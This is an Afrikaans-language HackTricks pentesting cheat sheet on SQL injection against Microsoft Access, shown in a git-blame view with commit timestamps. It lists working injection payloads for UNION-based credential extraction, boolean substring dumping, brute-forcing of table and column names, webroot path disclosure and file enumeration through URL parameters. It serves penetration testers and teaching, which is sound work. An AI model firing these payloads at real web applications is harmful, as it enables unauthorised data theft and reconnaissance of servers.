hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md

193 lines
9.9 KiB
Markdown
Raw Normal View History

2024-02-11 02:07:06 +00:00
# MS Access SQL-injeksie
2022-08-31 13:22:13 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
2022-08-31 13:22:13 +00:00
</details>
2024-02-11 02:07:06 +00:00
## Aanlyn-speelplek
2022-08-31 13:22:13 +00:00
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
2024-02-11 02:07:06 +00:00
## DB Beperkings
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
### String-konkatenasie
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
String-konkatenasie is moontlik met die karakters `& (%26)` en `+ (%2b)`.
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
2024-02-11 02:07:06 +00:00
### Kommentaar
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
Daar is geen kommentaar in MS Access nie, maar dit is blykbaar moontlik om die laaste deel van 'n navraag te verwyder met 'n NULL-teken:
2022-08-31 13:22:13 +00:00
```sql
1' union select 1,2 from table%00
```
2024-02-11 02:07:06 +00:00
As dit nie werk nie, kan jy altyd die sintaks van die navraag regmaak:
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
2024-02-11 02:07:06 +00:00
### Gestapelde Navrae
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
Hulle word nie ondersteun nie.
2022-08-31 13:22:13 +00:00
### LIMIT
2024-02-11 02:07:06 +00:00
Die **`LIMIT`**-operateur **is nie geïmplementeer nie**. Dit is egter moontlik om die resultate van 'n SELECT-navraag te beperk tot die **eerste N-tabelrye deur die `TOP`-operateur** te gebruik. `TOP` aanvaar 'n heelgetal as argument wat die aantal terug te gee ryë verteenwoordig.
2022-08-31 13:22:13 +00:00
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
2024-02-11 02:07:06 +00:00
Net soos TOP kan jy **`LAST`** gebruik wat die **rye van die einde** sal kry.
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
## UNION Navrae/Subnavrae
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
In 'n SQLi wil jy gewoonlik 'n nuwe navraag uitvoer om inligting uit ander tabelle te onttrek. MS Access vereis altyd dat in **subnavrae of ekstra navrae 'n `FROM` aangedui word**.\
Dus, as jy 'n `UNION SELECT` of `UNION ALL SELECT` of 'n `SELECT` tussen hakies in 'n voorwaarde wil uitvoer, moet jy altyd **'n `FROM` met 'n geldige tabelnaam aandui**.\
Daarom moet jy 'n **geldige tabelnaam** weet.
2022-08-31 13:22:13 +00:00
```sql
-1' UNION SELECT username,password from users%00
```
2024-02-11 02:07:06 +00:00
### Ketting van gelykheid + Substring
2022-08-31 13:22:13 +00:00
{% hint style="warning" %}
2024-02-11 02:07:06 +00:00
Dit sal jou in staat stel om waardes van die huidige tabel uit te voer sonder om die naam van die tabel te weet.
2022-08-31 13:22:13 +00:00
{% endhint %}
2024-02-11 02:07:06 +00:00
**MS Access** maak gebruik van **vreemde sintaksis** soos **`'1'=2='3'='asd'=false`**. Aangesien die SQL-injectie gewoonlik binne 'n **`WHERE`** klousule sal wees, kan ons dit misbruik.
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
Stel jou voor jy het 'n SQLi in 'n MS Access databasis en jy weet (of het geradeer) dat een **kolomnaam username** is, en dit is die veld wat jy wil **uitvoer**. Jy kan die verskillende reaksies van die webtoepassing nagaan wanneer die ketting van gelykheidstegniek gebruik word en potensieel inhoud uitvoer met 'n **boolean-injectie** deur die **`Mid`**-funksie te gebruik om substrings te kry.
2022-08-31 13:22:13 +00:00
```sql
'=(Mid(username,1,3)='adm')='
```
2024-02-11 02:07:06 +00:00
As jy die **naam van die tabel** en **kolom** wat jy wil dump ken, kan jy 'n kombinasie van `Mid`, `LAST` en `TOP` gebruik om **alle inligting te lek** deur middel van boolean SQLi:
2022-08-31 13:22:13 +00:00
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
2024-02-11 02:07:06 +00:00
_Voel vry om dit in die aanlyn speelgrond te kontroleer._
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
### Brute-forcing Tabelname
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
Met behulp van die ketting-ewekansige tegniek kan jy ook **tabelname bruteforce** met iets soos:
2022-08-31 13:22:13 +00:00
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
2024-02-11 02:07:06 +00:00
Jy kan ook 'n meer tradisionele metode gebruik:
2022-08-31 13:22:13 +00:00
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
2024-02-11 02:07:06 +00:00
_Voel vry om dit in die aanlyn speelgrond te kontroleer._
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
* Sqlmap algemene tabelname: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Daar is 'n ander lys in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
### Brute-Forcing Kolomname
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
Jy kan **brute-force huidige kolomname** met die kettinggelykheidstruuk met:
2022-08-31 13:22:13 +00:00
```sql
'=column_name='
```
2024-02-11 02:07:06 +00:00
Of met 'n **groep deur**:
2022-08-31 13:22:13 +00:00
```sql
-1' GROUP BY column_name%00
```
2024-02-11 02:07:06 +00:00
Of jy kan die kolomname van 'n **verskillende tabel** met brute force aanval:
2022-08-31 13:22:13 +00:00
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
2024-02-11 02:07:06 +00:00
### Data dump
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
Ons het reeds die [**ketting gelykheidstegniek**](ms-access-sql-injection.md#chaining-equals-+-substring) bespreek **om data uit die huidige en ander tabelle te dump**. Maar daar is ander maniere:
2022-08-31 13:22:13 +00:00
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
2024-02-11 02:07:06 +00:00
In 'n neutedop gebruik die navraag 'n "as-dan" verklaring om 'n "200 OK" te veroorsaak in geval van sukses of 'n "500 Internal Error" andersins. Deur gebruik te maak van die TOP 10-operator, is dit moontlik om die eerste tien resultate te kies. Die daaropvolgende gebruik van LAST maak dit moontlik om slegs die 10de tuple te oorweeg. Op sulke waarde, deur die gebruik van die MID-operator, is dit moontlik om 'n eenvoudige karaktervergelyking uit te voer. Deur die indeks van MID en TOP behoorlik te verander, kan ons die inhoud van die "gebruikersnaam" veld vir alle rye dump.
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
### Tyd-gebaseerd
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
Kyk [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
### Ander interessante funksies
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
* `Mid('admin',1,1)` kry substring vanaf posisie 1 lengte 1 (aanvanklike posisie is 1)
* `LEN('1234')` kry lengte van string
* `ASC('A')` kry ASCII-waarde van karakter
* `CHR(65)` kry string vanaf ASCII-waarde
* `IIF(1=1,'a','b')` as dan
* `COUNT(*)` Tel aantal items
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
## Tabelle optel
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
Van [**hier**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) kan jy 'n navraag sien om tabelle name te kry:
2022-08-31 13:22:13 +00:00
```sql
select MSysObjects.name
from MSysObjects
where
2024-02-11 02:07:06 +00:00
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
2022-08-31 13:22:13 +00:00
order by MSysObjects.name
```
2024-02-11 02:07:06 +00:00
Dit moet egter opgemerk word dat dit baie tipies is om SQL-injeksies te vind waar jy **nie toegang het om die tabel `MSysObjects` te lees nie**.
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
## Toegang tot lêerstelsel
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
### Volledige pad van webwortelgids
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
Die kennis van die **absoluut pad van die webwortel kan verdere aanvalle vergemaklik**. As die toepassingsfoute nie heeltemal weggesteek is nie, kan die gidspad onthul word deur te probeer om data te selekteer uit 'n nie-bestaande databasis.
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
2024-02-11 02:07:06 +00:00
MS Access reageer met 'n **foutboodskap wat die volledige gidsnaam van die webgids bevat**.
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
### Lêeropnoeming
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
Die volgende aanvalvektor kan gebruik word om **die bestaan van 'n lêer op die afgeleë lêerstelsel te bepaal**. As die gespesifiseerde lêer bestaan, veroorsaak MS Access 'n foutboodskap wat aandui dat die databasisformaat ongeldig is:
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
2024-02-11 02:07:06 +00:00
'n Ander manier om lêers op te noem, behels die **spesifisering van 'n databasis.tabel-item**. **As** die gespesifiseerde **lêer bestaan**, vertoon MS Access 'n **foutboodskap oor die databasisformaat**.
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
2024-02-11 02:07:06 +00:00
### Raai van .mdb-lêernaam
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
Die **databasislêernaam (.mdb)** kan bepaal word met die volgende navraag:
2022-08-31 13:22:13 +00:00
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
2024-02-11 02:07:06 +00:00
Waar **name\[i] 'n .mdb-lêernaam** is en **realTable 'n bestaande tabel** binne die databasis is. Alhoewel MS Access altyd 'n foutboodskap sal veroorsaak, is dit moontlik om te onderskei tussen 'n ongeldige lêernaam en 'n geldige .mdb-lêernaam.
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
### .mdb-wagwoordkraker
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) is 'n gratis hulpmiddel wat gebruik kan word om die hoofdatabasiswagwoord van Microsoft Access 95/97/2000/XP of Jet Database Engine 3.0/4.0 te herstel.
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
## Verwysings
2022-08-31 13:22:13 +00:00
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2022-08-31 13:22:13 +00:00
2024-02-11 02:07:06 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-08-31 13:22:13 +00:00
</details>